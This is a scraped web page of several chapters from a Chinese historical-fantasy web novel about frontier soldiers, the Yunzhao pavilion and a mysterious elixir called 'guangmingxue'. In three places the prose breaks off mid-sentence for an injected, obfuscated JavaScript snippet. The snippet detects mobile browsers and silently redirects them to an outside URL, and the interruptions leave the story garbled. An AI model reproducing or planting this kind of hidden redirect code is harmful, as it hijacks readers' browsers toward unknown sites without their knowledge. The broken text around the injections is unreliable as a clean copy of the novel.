两人正准备进去收拾铺盖,遇见赵元贞带了小豆饼出来,喊李在宥去打水。 “你不喜欢玩辘轳杆子嘛,去打点儿水,再去捡几根儿柴烧了,过来帮我给小豆饼洗头。” 魏无功本来以为李在宥会偷懒不乐意,没想到打水劈柴的新鲜劲儿还在,他屁颠颠就去了。魏无功想了想还是决定跟着,李在宥能烧柴火就怪了,如果他不去帮忙,这活儿又得邹婶儿干。 “魏啊,你沈大哥心操老了要,”赵元贞拉着他说:“回头真得给他找点莲心龙眼什么的补补。”她进去收拾行李的时候,看床单被褥都是新絮芦花,垫了好几层,麻料子也是特意挑好的,不像是普通人家里的用度。沈仓一边操劳军务,一边还惦记着这边的生活起居。刚又看邹叔去门口杀鸡,心里更是过意不去,“几个人来一趟,兴师动众的”她说:“这个你拿着打点”。魏无功接了她拿出的一袋子碎银子,答应她找时间塞给邹叔,就去院儿里帮忙去了。 “嗯?你居然还知道把柴火架起来……”魏无功进了院子,发现李在宥虽然看起来笨手笨脚的,但是生火的步骤都对,感觉有点好笑。 “嗯呐,书上看过原理,猜着应该是这么个事儿。”李在宥对于躬身实践非常有兴趣:“小魏快帮我看看这是不是就算着了。” “起开,别学着公主喊。”魏无功轻轻踹了他屁股一脚让他上一边儿去,把柴火拨了拨,调了一下角度。李在宥看那柴薪果然哔剥剥大燃了起来,心想专业的和书本上的还是不一样。 等水烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156153|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了,小豆饼被邹婶儿和赵元贞押过来洗头的时候,又开始了她的经典叫骂环节,什么难听骂什么。 邹婶儿笑得直不起腰。小孩儿骂特别脏的话本身就有一种荒诞感,她虽然不会说大段契丹话,但是她和猎户长期也在边境上做点生意,多少听懂一些。 “豆饼,豆饼,你别嚎了!”李在宥被她吵得头疼,变戏法似的掏出个瓶子在她面前晃晃,说:“你要是乖乖洗头,就给你舔一口香油。” 听到香油,小豆饼停下来想了一会儿,问他:“真给我?” “不能给你一整瓶,但是能给你尝一小口。”李在宥对着她挤眉弄眼。 “太少了,不行不行!”她对这个条件不满意,“你要把一瓶都给我!” “那可不行,”李在宥故意摆出一副奇货可居的样子:“这可是用初夏的黑白芝麻各五十钱,花生五十钱,亚麻籽三十钱,配上少许冰糖、核桃仁儿和西域的葵瓜子,先在磨盘里榨七七四十九天,再放进缸里阴上半月,最后只取最上面一层清脂的好东西,怎么能轻易给你。” 小豆饼听傻了,从来没觉得汉语如此动听,口水都要跟着滴下来了。“那……那我要一大口!”她终于是妥协了。 “行,辫子拆了蹲水盆儿边上去。”李在宥说。看她老老实实照办,终于是打开了小瓶子,让她伸手,小心翼翼地倒了一点点在她手上。小豆饼看都没看就伸舌头舔了。一进嘴里,愣了一下,感觉不对劲,连忙吐出来,一边吐一边拿袖子蹭口水,大喊:“额日古昆!额日古昆!额日古昆!……” 赵元贞和邹婶儿一边按着她不让她起来一边哈哈大笑,李在宥过去帮忙,差点让她挠了。 魏无功凑过去问他:“你给她个什么东西……” “你站远点儿,别让小蹄子踢到你伤口,这妮儿劲大着呢,”李在宥一边笑一遍把他扒拉开说:“就是洗头用的皂角汁儿。” “你是真蔫儿坏啊,”魏无功在一边啧啧啧摇头:“这么骗小孩儿……” 带小孩儿堪比打仗,等邹叔把烧鸡端上桌的时候,几个人累得不行。小豆饼见了鸡腿,上手就抓,被李在宥用筷子“啪”地打了一下。 “额日古昆!”小豆饼闹了一下午,此时依旧有劲:“你又要干什么!” “吃饭讲规矩,”李在宥说:“用筷子夹,不许用手。” “偏不!”她说:“我凭什么听你的!” “你不听我的那你听谁的?”李在宥问。 小豆饼看了一眼赵元贞,没做声。 “豆饼家长,那换你说说她,”李在宥冲着赵元贞说:“这小脏手。” 赵元贞倒是很淡然,随手把鸡腿夹到小豆饼碗里,说了句:“随她吧,不急。” “啧,你当年不是这么教训我的,”李在宥很不服气:“我那会儿光是捏筷子姿势丑你都揍我的。” 赵元贞没说话看着他。李在宥眯起眼睛问:“你可别说男孩儿和女孩儿要求不一样。” “确实不一样,”赵元贞笑笑:“男孩儿长大了,漫山遍野到处跑,小时候是得把规矩养好了,免得出去害人。” “但是咱们女孩儿家就不同了,以后守规矩日子长着呢,”她摸了摸小豆饼的脑袋,拿篦子梳了,感觉顺眼多了,“这会儿想闹腾就闹吧,还能闹腾几年呢……” “偏心。”李在宥嘟囔一句,不打算招惹赵元贞的心事,专心埋头扒饭。“叔,您这菜好吃。”他说。 “自家吃饭也没什么手艺,随便烧烧的,你们哪里吃不惯就说。”邹叔客气道。 赵元贞低头在小豆饼耳边说:“这种时候,我们该说什么?” 小豆饼想了想,放下手中的鸡腿,大声说:“邹家的叔叔婶婶,烧鸡好吃,巴雅尔拉(谢谢)!”声音脆甜的。邹婶儿看孩子可爱,连声说:“哎哟,不客气,不客气,额薛格力热(契丹语不客气)……” 魏无功盯着自己的碗有点儿出神。手中的碗黑地白花,中心一颗牡丹,正是邹婶儿出嫁用的那个,想那邹婶儿被李在宥哄迷糊了,拿上好的器具招待他们。赵元贞心疼他是个伤员,把另一条腿夹他碗里。他想想李在宥,又想想小豆饼,感慨赵元贞真是有些点石成金的功夫。正发着呆,突然眼前出现一双筷子,把他鸡腿抢走了。 他转头望着坐在旁边的李在宥,李在宥装着在看别的地方,叼着个筷子傻乐。 “啧,”魏无功笑了:“幼稚!” 30.野鼠孤城 春风吹来的时候,易水北岸的金兵终于是撤了。 沈仓估摸着时间,把人接了回来,只留小豆饼挨着邹婶儿住。小豆饼是个会审时度势的孩子,没费什么劲就想通了,就是赵元贞走的时候她有点儿紧张。 “姑姑,你什么时候回来?”她问。 “等张将军安定了,我就送你回家。”赵元贞搓着她有点儿皴了的小脸儿,往她两颊抹了点油膏。 马车上,李在宥说指指赵元贞跟魏无功说:“还说我骗小孩儿,这才是大骗子,天天给小朋友画大饼。” “瞎说,我从不食言。”赵元贞照例半靠在座位上。 “她老子们都叫金人捉了,她能回得去?”李在宥相当不信。赵元贞并没有解释,只是望着河对岸出神。 “小魏,你眼睛好,你看看那是什么?” 魏无功听了她的话,越过李在宥趴到窗边看,河对岸有一段儿,看起来白白的,像是树上落了雪没化。但是这会儿都天气明明已经转暖,因此看起来格外异常。 他眯起眼睛:“好像是布条。” “等会儿到寨堡了,你们跟沈大哥打个报告过去看一下吧。”赵元贞皱着眉头,感觉有点不安。 见到沈仓的时候接近黄昏,沈仓正在紧锣密鼓地做安排,忙得脚不点地,都没来得及亲自迎接。朝廷已经下派了即将上任的新任州府,沈仓作为戍边的将领,一方面要在交接期做好各项安防,一方面要协助清点军事设施、仓库、人口等,方便新来的州府接管。 来接他们的是梁阿兰。阿兰见了赵元贞,招呼都不打,劈头盖脸就是一句:“赤焰军现在很暴躁,元贞姐姐你可小心。” “谢谢阿兰妹妹提醒,”赵元贞仍是笑盈盈的:“我这就去见张将军。”想必张定钧在家里等消息,连着两个多月也没有进展,着急上火也是正常的。 魏无功跟在后面看着她俩“姐姐妹妹”的,有种说不出的刻意,于是小声跟李在宥蛐蛐:“好像关系是有点微妙哈。” “主要是吧……”李在宥把手捂着嘴凑他耳边说:“之前跟你说的小梁太后那些个事情,跟云昭阁也多少有点关系,所以……” 话还没说完被魏无功偏过头去躲了,“这么说话耳朵痒痒”,他伸了个指头掏了掏耳朵:“不是,你们云昭阁怎么什么活儿都接啊,我看这也不算是怪力乱神的范畴了吧。” “具体的我不大清楚,这是上一代云昭阁主人的事情了,赵元贞可能还经手了一些,但是那会儿我太小了,没沾边儿。”李在宥说:“估计阿兰姐是计较这个事情,看赵元贞的眼神恨不得把她怎么着似的。” “你们云昭阁……”魏无功有点好奇:“是怎么能把手一直伸到别的国家去的?” “这说起来可太长了,你想啊,这大千世界这么多人,织成了一张巨大的关系网”李在宥说:“有些看似平平无奇的身份,什么歌女、大夫、开茶馆儿的、挑担子的、说书的、唱大戏的,就是江湖上一个个的点,这人和人认识,就像点和点连成线,不知不觉就一路延伸过去了。没准儿你今天随手打发乞丐一个铜板,里面就有云昭阁的线人呢。” “俗世奇人呐,”魏无功若有所思:“那这么多人,你们云昭阁都是上哪儿找的?” “啧,别一口一个‘你们云昭阁’,听着别扭。”李在宥笑着说:“没准儿哪天你就被赵元贞骗过来打工了呢,她可能忽悠了。” “别!我可不,”魏无功斩钉截铁地说:“我不当和尚,我还要成家呢!” “哦?这倒是第一回听说……”李在宥嘴角的弧度仍挂在脸上,眼睛里却没什么笑意:“钱攒够了吗就想着娶媳妇儿?” “也……攒了一些。”魏无功摸摸鼻子,有点不好意思。他打小流浪,心里还是希望能有个自己的家的,看着军队里别的人攒老婆钱,他也就跟着攒。他平时没什么花销,吃喝拉撒都在队伍里,加上小时候在道观里摸的宝贝,其实零零散散确实是攒了不少。 “是么,让我猜猜看,我们大字不识一个的魏都头把小金库藏在哪里了……”李在宥点点下巴,语气听起来仍然轻松: “怕不是团风村哪个地窖里吧。” “!!?”魏无功一个巨大的震惊:“这你也知道!?”云昭阁怎么回事,不会为了吸纳他,已经开始跟踪了吧!? “其实也不难猜,”李在宥哼笑了一声:“你孤身一个人,没有亲眷,蚕姑坨也回不去,最熟悉的地方就是易县了……” “这些年攒了些军功,又不起屋田,肯定没地方放……” “结合你之前不让我看邹婶儿的窖藏,怕是此地无银三百两,”李在宥低头看了眼自己的脚下的褐土:“以你的性格,十有八九也是放在陶罐子里……” “停停停!”魏无功感觉再说下去感觉底裤都要被人看穿了。 “额日古昆!”他大喊一声,气哼哼跑向寨堡。 李在宥望着他的背影没说话。 “哼,娶媳妇儿,”他想着,慢慢跟在后面踱步进去:“明儿就让人把你的陶瓮刨出来,我倒要看看藏了几个子儿……” 回到寨堡,两个人去给赵元贞当左右护法,护送她去见张定钧。不过,张定钧这会儿不在营帐,而是在地牢。赤焰军失去了回鹘人源源不断提供的光明血,也开始纷纷出现各式各样的症状。 “拿走……拿走!”一进去就看见张定钧蹲在地上,试图让其中一个人吃点东西,然而那人极不配合。他看起来已经很饥饿了,颧骨高耸,两颊的肉已经凹陷下去,但是对碗里热腾腾的食物似乎并不感兴趣。“吾已餐风饮露……不食人间五谷……”那人口里念念有词,用军医的话说,确实像是丢了三魂七魄,不仅不认识自己是谁,连吃饭喝水这样的事情似乎也忘却了。 这人似乎是张定钧的旧交,他对这人的疯症格外上心,一门心思都铺在灌汤药上,竟没有注意到赵元贞他们的到来。 “我如果这时候给你一瓶光明血,你能救活他吗?”赵元贞突然站在他背后问。 张定钧迅速回过头,眼底闪过一丝强烈的怨愤,说:“人又没死,何来救活?” “别装,你现在才心疼他的命,那鬼东西你自己为什么不吃?”魏无功问。 张定钧没答他的话,只是盯着赵元贞问:“我要的消息呢?” 赵元贞没什么表情,看着他的眼睛说:“您也知道的,元贞做不得主。” “别耍滑头,”张定钧噌地一下站起来:“你究竟有没有把我的话带到?” “张将军,没了赤焰军,您就是光杆儿一个,我若是您,说话就客气着点。”李在宥拦在两人中间,双手抱胸看着他:“我家主人问你,这光明血,你是要,还是不要?” “……要。” 张定钧接了李在宥递过去的匣子,掏出来一颗,小心塞进那人嘴里。可是,那人身体似乎太过亏空,吃了蚕姑坨精心烤制的丹药,也只是 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嘚嘚的马蹄声空响着,街道两旁门户洞开,地上散落着洗劫一空的箱笼和匆忙砸毁陶片,无声地诉说着数日前的故事。金人在撤走之前,把易州北方钱粮和人口洗劫一空,只给大宋留下了一座野鼠空城。魏无功情不自禁想起了那些深埋地下的窖藏:不知道屋主人还有没有失而复得的一天…… 逐渐接近金兵当时扎营的地方,绕过寨堡的夯土墙,视野突然开阔,几个人下意识勒住了马。 河对岸那片繁茂的柳林,被白布缠得雪白一片,无数长条随风飘荡,像引路的魂幡。隐隐约约窥见得里面藏着十几具尸体。一双双脚悬垂在抽芽的嫩柳条之间,随着河风缓缓打转,说不出的邪佞。 张定钧小声骂了一句契丹脏话,双腿一夹,驱马快步向前,其他人也连忙跟了上去。 走近了,确认了那些悬挂的尸体,清一色是回鹘商人的。 人类对同类的死亡本就有不适,越是靠近,那股难以言喻的气息就愈发浓重。更不提那些个绑在枝条上的白色布幔,像一道道符咒一般,带着血写的人名。 “这是……”魏无功不认识那些鬼画符。 “咒我死呢。”张定钧说。大部分血书着他的名字,还有少部分是其他赤焰军众的。他骑在马上,并没有流露出喜怒,只是悄悄攥紧了缰绳。赵元贞回来了,心里的大石头不仅没有落地,反而更加沉重地压着胸口,难得喘息。 女真萨满相信,柳树是连接神灵的植物。他们会将仇人的名字、毛发或衣物碎片绑在特定的柳枝上,由萨满日夜诅咒。当柳枝枯萎时,或许仇人的生命也会随之凋零。 赤焰军势头正盛的时候,不知道取了多少金兵的性命,这一根根魂幡里的恨意,就是最好的证明。 一行人缓慢地骑马穿过柳树林,逐个辨认着尸骸。春天悄然来临,离得近了,能看见柳条上冒出了一颗颗嫩绿的新芽,亦能看见风干的尸体脸上凝固的表情。生与死在此处绞缠,风穿过枝丫与躯壳,仿佛亡灵在集体低语。 全程走下来,发现阿尔斯兰命大,居然不在里面。 “回吧,”李在宥说:“问候已经收到了。” 众人点点头,沉默着返程。夕阳沉入地平线,抽走最后的余温,大地被昏暗覆盖。 “风萧萧易水寒,壮士一去兮不复还。”春天依旧会来,只是今年的易水北岸,不会再有人烟了。 31.老婆本儿 几个人回去找赵元贞的时候,发现她不在房间也不在议事厅。沈仓喊人去问,发现她竟然还待在地牢,不禁吃了一惊。 “地牢那种环境,贵人一个人在里面,怎么不早回报!”沈仓随手拿着账本敲了一下进来通报的小兵脑袋,“走走走,我们都去看看。” 张定钧心里难受,这会儿不想看见赵元贞,找了个借口先走了。梁阿兰也不想看她,但是想了想还是跟上了。 地牢里的味道还是一如既往的狂暴。几个人进去的时候,赵元贞正蹲在地上,拿着纸笔写写画画,对周遭的环境全然无觉。 “啧,凳子也不知道端一个来。”沈仓看着新来的狱卒没有眼力劲儿的愣头样子,恨铁不成钢。 “不碍……”赵元贞刚要起身说话,腿果然是麻了,梁阿兰在身后扶了她一把。 “哎呦,多谢多谢……”赵元贞搭了一只手到她肩上,瞥见她脖子上挂着一个串珠,也是羊眼板珠的样式,忍不住多看了一会儿,被阿兰发现了,顺手扯了扯衣领,搞得有点尴尬。 “看出什么来了吗?”梁阿兰指着牢里死掉的那个问她。 赵元贞摇摇头,说:“有用的没看出来,没用的想法倒是有一罗筐。” “你们说,人的尸体留在这里,但是灵魂出窍去了别处,那这人算是活着,还是死了?”赵元贞问。 “死了。”李在宥和魏无功齐齐说。 “意见这么统一?”赵元贞笑着问。 “人活着,自以形役,三魂七魄附于其上,人死了,自以形分,灵魂即使存在,最后重入来世轮回,那也是先死了而后复生,”李在宥说:“死是第一步。” 魏无功看了他一眼,心想怎么普通的死翘翘到他嘴里还有这么长的理论。 “也是……”赵元贞想了下:“尸解仙也是这么个理儿……” “那你相信有神仙吗?”梁阿兰问。李在宥看了她一眼,很好奇她为什么突然很积极参与这个话题。 “我不知道该不该相信,不过我希望有。”赵元贞笑笑:“死了也有个念想不是。” “有仙人是很好,可是有了天上的仙人,万一也有地狱的恶鬼呢?”梁阿兰又问。 “有鬼也好,仙耶鬼耶,都比人有趣多了。”赵元贞用笔杆轻轻敲了敲记录着尸体症状的纸页:“你们不觉得奇怪吗,不管是秦皇汉武,即使是功盖千秋的人物,终其一生都要去找仙人求长生—— 如果这世上没有些捕风捉影的事情,这些想法又是从哪里来的呢?” 说完,她看着梁阿兰,问她:“阿兰妹妹觉得这世界上有仙人吗?” 梁阿兰摇摇头:“我一想到有人千里之外动动手指,就决定了其他一干人的生死,我就恶心。”这话也不知道是她是在说仙人,还是在点云昭阁。 沈仓在一旁听得一头雾水,怀疑他们在打哑谜没带自己,只好问:“张将军回来看着脸色不虞,你们今天没出什么事儿吧?” “他被金人问候了祖宗十八代,不爽也正常。”李在宥将河边金人留下的讯息事情简要地讲了:“反正,报仇也罢、撬他嘴里的秘密也罢,这人他们是要定了。” 沈仓低着头没说话,这月余相处下来,他感觉张定钧也算是个英雄好汉,也不知道公主不报小耶律的事情算是救他还是害他。 “会惹上麻烦的事,上头是不会出面的。”赵元贞说:“我和在宥该回去了。” 这话一出,魏无功猛地一抬头,却发现李在宥抿嘴不说话,看起来似乎已经早就知道了的样子,心里顿时有股微妙的不爽。 “为了制衡,上面不会让藩兵在边境待太久,就是不知道张定钧最后是划在哪边,”赵元贞简单分析了一下形势:“不管如何,在小耶律的事情捅出来之前,我得做先说上话的那个。” 梁阿兰听到耶律家的事情,有点意外她居然没有避着自己。 “之前一直用鸟兽做实验,这次,我想把病人也带回去。”赵元贞看着沈仓:“云昭阁该干活儿了,宫里条件比这边要好些。” 沈仓点了点头:“路上的事情,我安排人准备。” “谢谢沈大哥,这好些日子叨扰,没帮上什么忙,还难为您抽时间忙我们的事儿……” “哪里的话,”沈仓连连摆手:“这里脏得很,咱们出去说,晚上让老胡头儿做点好的,给你们践行……” 在沈仓的号召下,几个人从地牢里出去。沈仓去忙军务,赵元贞找了个螺黛试色的借口,把梁阿兰单独叫去说话。梁阿兰犹豫了一会儿跟去了,留在李在宥和魏无功两个人在后面慢慢走。 分别来得太突然,都不知道该说什么,还是李在宥先开的口: “我这趟回去,金疮药给你再寄一点过来。” 魏无功啧了一声:“你能不能盼我点好啊。” 李在宥笑了:“那好吃好玩的也寄给你行了吧,有什么没吃过的没见过的跟我说……” “我都没吃过,我还没见过,我跟你说得着嘛……”魏无功翻了个白眼。 “也是……”李在宥眼睛看地,很反常的没有反驳。 “不是……”魏无功看他这样子,感觉他像是不回来了一样:“那小豆饼呢,她你不来接了吗?” 李在宥盯着地板没说话。 魏无功看他这样不知道为什么又有点生气。 “果然还是骗小孩儿吧。”他说。在邹叔家三个月也不见这两人吭一声的,这会儿说走就走了,读书人心思真是难得猜。 “回去了之后,好多事情,云昭阁就做不得主了。”李在宥说:“我真不知道……” “行呗,你们大人物忙你们的国家大事去吧,”魏无功语气硬邦邦的:“也甭给我带东西了,反正我没吃过见过,我也想不着。” “你那老婆本儿攒够了吗?”李在宥笑他:”没攒够给你添点儿?” “钱就算了……”魏无功脑袋一个机灵:“名字倒是可以给我留几个。” “什么?”李在宥愣了。 “小孩儿名字啊,男孩儿女孩儿的都要,趁你这会儿还闲着赶紧提前给我想几个,我得挑挑……”魏无功突然一下想到,万一此生他俩再不见面了,将来他要是成了家有了崽,没读过书估计连个像样的名字都起不出来,不如让李在宥提前替他想几个好的。 “……”李在宥瞪着他半天,看他居然是一本真经地在琢磨这事儿,差点给气笑了。他望着魏无功那副“你就说行不行吧”的小表情,咬着牙挤了个“好”。 ——留给他刨土挖陶罐的时间不多了! “诶,你说阿兰姐跟公主俩待一个屋子,不能出什么事儿吧。”魏无功看了眼她俩消失的方向问李在宥。 “你这是担心赵元贞呐……” 李在宥眯起眼睛:“还是担心梁阿兰呢……” “嗯?不是你说她俩有仇吗?” 李在宥看了他一会儿,结果发现对方一脸真诚等着自己说话,叹了口气:“上一代的恩恩怨怨了,不至于。” “哦……”魏无功哦了一声。李在宥也不知道他哦个什么东西,心里烦躁,找了个收拾东西的借口先走了。 那头。梁阿兰一进赵元贞房间就问:“你要跟我说什么?” “坐,”赵元贞拖了个凳子到她旁边:“找你来主要是想说两件事。” “这头一件嘛,是想问光明血的事情,你知道多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“依着这里面内容,按照具体的年月时辰推演,天文历法加筹码文字,一套下来虽说有些复杂,但是你肯定都能看懂。”张定钧说:“不光是易州阿尔斯兰他们,出了这一片也是通用的。” “好,谢过张将军,”赵元贞说:“您放心,路子我们能找到,一定不让您再折了兵。”说罢,她冲着众人挥了挥手,也上了马车。 车夫鞭子一扬,马车颠簸着动了。大黑跟着车,叫着追出好远。 赵元贞看着坐在车里抠指甲泥儿的李在宥好笑,问他:“都走了,怎么不跟小魏多说两句?” “不说了,”李在宥两条胳膊一摊,摆出个大爷的姿势:“又不是以后不见面了。” “哟,这么笃定?” “嗯呐。” 李在宥眯着眼睛假寐,脚边有一个十分不起眼的陶瓮,还泛着泥土的腥气。 “你什么时候把小魏骗来云昭阁?” “得再考察一下吧,”赵元贞笑着说:“功夫是不错,但是不认识字是不是有点太说不过去了……” “不识字又不是不长个儿了,还不兴人后面学么,”李在宥心想可快点儿的吧,再晚一点儿孩子都有了:“都这么熟了放点儿水呗。” “那看你表现,清明的时候我要看你的研究成果。”赵元贞说。 “你瞧好吧,肯定给你一个惊艳的报告。”李在宥信誓旦旦地说。 “对了,你和阿兰姐聊得怎么样?” “唔,居然还可以,”赵元贞看着窗外:“果然,她也见过那东西。我们猜得没错,是从西边儿来的……” 32.张定钧的占卜 惊蛰,春雷一阵阵打下来,暴雨倾盆而至。 张定钧一个人坐在屋内,反复推演着自己的命运。 自从公主走后,罗盘上的生门一片晦暗,无论他占卜多少次,三千丝线缓缓流动,最终都只能走入死局。 灯芯如豆,在罩子里莹莹跳跃,印着他眉头的“川”字沟壑愈深。 他想不明白到底是哪里出了问题。他已经按照仙家的指示,进献了一位耶律,但不知为什么不仅命盘非但没有改观,反而愈发凶恶起来。可惜,教会他奇门遁甲的那位上仙去年大限已至,他无人可询问。 隐隐约约有种预感,那封他期盼的朝廷召唤的信笺,不会再来了。张定钧叹了口气,披上外衣,走到屋外的走廊,看天边的雷雨滚落。 “天地不仁,以万物为刍狗。”上仙活着的时候,时常对自己念叨:“张将军啊,大道无情,独坐防心。”那时候他听不懂,现在,望着群山之上闪电的光影,他好像有点后知后觉地开悟了。 “张将军,这雷也把您吵醒了?” 张定钧转头,是隔壁的沈仓,此时也思绪烦扰,无法安眠。两个人并肩站在赵堡的台上,凭着栏杆,各有各的心事重重。 张定钧递了烟草过去,沈仓想了想接了,却没有点。张定钧斜睇了一眼,补了句:“是普通的烟草。” 沈仓望着他,到底没有好意思说自己不抽烟,于是掏出火折子,点上了。 “张将军且宽心,”沈仓劝他:“公主虽然有自己的脾气,但是一心向着战局,赤焰军英勇强悍,她不会做损人不利己的事情。” “啊……她啊,跟她没有关系,”张定钧说:“都是时势造化,我只是感叹天不遂人愿罢了。” “您呢,您又是在操什么心?” 沈仓看张定钧,难得豁达,甚至愿意跟自己多说几句闲话,十分意外。 “当时撒八还活着的时候,我让梁将军受了些委屈,处理失当,”沈仓叹了口气:“后来又钳制不力,在拒马河……您也是知道的。”张定钧点了点头,大致明白了他的意思。 论理,敢战营冬天那几仗打得还算漂亮,沈仓就是无功,也该无过。谁知梁阿兰回了朝廷,当着文武百官的面,狠狠参了他一把,说敢战营军纪混乱,换防调遣毫无章法,汉军和藩兵内讧,白白在拒马河损兵折将。 今天新上任的易州知州到了,他满心欢喜去迎接,没想到齐知州直接一个下马威,告诉他今后任何调动作战必须报请,得马步军副都总管批准才能行事。宣读奖惩的时候,一句“念其旧功,降职留用,以观后效”,草草了事了。 他和魏无功想了许久没想明白,后来托人打听,才知道是梁阿兰告状。可之前梁阿兰与汉军关系极佳,沈仓也从未克扣过藩军的兵马钱粮,思来想去,大概率还是之前撒八的事情没处理好,让她生了怨气。 “武将大都是一刀一枪砍杀出来的,只知道军令,不懂人物心思。”张定钧抽了口烟草,吐出的云烟顷刻叫雨雾打散了。“如今搅进浑水,才知道什么叫七尺汉、三尺船,憋屈啊。” “若是我一人挨了处分也就罢了,”沈仓感慨:“可是无功他们随着我出生入死,也没捞到半点儿好处,这真是……” “魏都头是易州本地人吗?”张定钧问。 “不是,他命苦,一路混迹来的。”沈仓说。 “那他娘……”张定钧问了一半,觉得不礼貌,又把话咽了,搞得沈仓没听明白是在打听他家里事儿还是在骂人。 这功夫张定钧认识,还以为是那个人的儿子,看他跳进水里故意射偏了几箭,可惜和魏无功的身世似乎对不上,早知道不留手了。 “他功夫很好。”张定钧思索了一下,换了一句话说。 “是……”沈仓点点头。 按理说明日新知州正式办公,他要去汇报调兵、请饷、敌情、修缮等事宜,本想带着魏无功同去,也让他有机会认识些文官,博个前程,可他听了宣读,脾气上来了,非要在寨堡里装病。 对于魏无功,沈仓心里愧疚。上阵杀敌,他出力最多,伤得最重,可惜功劳被一笔带过。原以为认识了云昭阁,魏无功也能跟着捞点儿好处,没想到在宥老弟这一走,音讯全无,书信也不见一封。不过,想来云昭阁也有自己的难处。上面对边关将士猜忌颇深,和武将交往过甚,被扣个“结党”的帽子,也难得吃消。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176062|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不过沈仓不知道的是,李在宥并非不挂念他们,而是为了把魏无功薅到云昭阁,正卯着十二分的力气,要拿出一份漂亮的报告交给赵元贞。 昨天,他已经交了一份《光明血:生死炁机注》给赵元贞,现在这份《希声通玄析微》也初步成型了。 赵元贞来看他的时候,他正猫在后宫宫墙最边上一排低矮的破房子里,带着全脸面罩,一手举着火把,一手拿着个鼓槌邦邦敲着,嘴里念念有词,活脱脱像个跳大神的。 赵元贞是被他第一份报告吸引来的。读完了当即放下所有的手头工作,毛笔一扔就匆匆赶去了偏院。 那地方是李在宥小时候住的房子,如今已经没有人住,被他拿去做了实验室。久不修缮,别院道路两侧的杂草都已经长到半人高了。 初看那份《光明血:生死炁机注》的标题,赵元贞就笑了,李在宥故意挑了个文绉绉的怪名儿,就是想引起她的注意。然而读了两行,她逐渐敛了笑容。 那上面,记载着重病带回京中,先后死亡的六名赤焰军人的解剖记录。令她诧异的是,经过李在宥考证,早在他们发病死亡前至少半年以上的时间,这些人的身体就已经不行了。 “五脏亏空、六腑糜烂,浊臭不可闻,而周身器官鼓动一如常人……”这六个人,有的是枪伤、有的是肺痨、有的是肠病胃病,基本已到了药石无医的地步。也就是说,光明血非但没有加速他们的死亡,反而延续了他们的生命,甚至可以说是给了他们第二次生命。 赵元贞突然想起了梁阿兰之前替张定钧传的话: “这东西没有你们想得那么邪。” 原来……是这个意思么。 怪不得李在宥起了个十分拗口的书名。所谓“炁机”,正是李在宥对红色晶盐本质善恶的思辨:光明血施用本末,到底是逆天而行还是续死延生,或许尚未可知。 翻到最后一页,赵元贞看到他在书尾留了句偈语: “外炼金丹炉火旺,内闻天音炁缘生。 欲问长生真妙法,且听无声胜有声。” 像个小小的钩子,弄得人心痒。于是赵元贞说什么也等不到第二份卷宗成型,直奔这里就来了。 33.宣和X年的除夕夜[番外] 上京。 李在宥躺在床上,手里举着沈仓的信,但是并没有真的看进去。 他不能回复这封信件,但阅读这信里斟字酌句的小心,也能想象到千里之外的敢战营日子并不好过。 看落款的日期,已经过去十多天了。魏无功肯定气坏了。他想着。 边线的一些战报,他想知道,但是赵元贞压着不给他看。他明白赵元贞的好意,但是不看更难受,因为会忍不住瞎想。 耳边一阵阵遥远的鞭炮响,丫头子叩门进来,提醒他内宴要开始了。他答应了一声,但是没有动。 除夕夜,官家邀请了近臣和有头脸的后妃、皇子公主们一起摆宫宴、观驱傩。李在宥明面儿上的身份是个“太监”,实际上的身份更尴尬,他是一点儿也不想去,但是赵元贞坚持让他出门散散心。 “陪我守岁,”赵元贞前几日特意跑到他跟前嘱咐他:“不好好守岁来年要倒霉的。” 他叹口气起身,牵了匹马往宫里赶。走到半道,路过教坊,扮演疫病鬼、钟馗和各路神仙的亲事官、诸班直都已早早进宫候着了,只余下一地残次的面具假发无人收拾。 李在宥本来匆匆路过,往前走了一段儿,突然鬼使神差地勒住了马,掉头回到教坊门口,在地上捡起一个红脸青角小鬼的面具。 他把面具拿在手里颠倒看,发现獠牙左边有个缺角,轻轻一笑,翻过手腕,把东西扣在了自己脸上。 …… 宫宴上,眼看着驱傩大典就要开始了,赵元贞踮着脚抬头望,李在宥还没出现。 一阵密集的鞭炮响起,烟雾里,头戴钟馗冠、身着金甲彩袍的伶人高举鼓槌,擂动三人合抱的龙纹鼓。随着第一声浑厚的鼓声响起,宴会也进入了高潮,满桌的玲珑糕点、御膳珍馐无人问津,连宫娥嫔妃们都不再矜持,站起来欢呼雀跃跑向栏杆,等着驱傩的队伍经过。 一支千人的队伍从东华门出发,转龙池湾,潮水一般招摇过市,最后停在官家御前。队伍里人人以鬼神覆面,身着绣画色衣,手执金枪龙旗,鼓噪着、奔跑着,冲到年轻的公主皇儿面前吓他们,再被扮演钟馗的伶人一一用桃木剑驱赶,寓意着“驱祟”和“埋祟”。 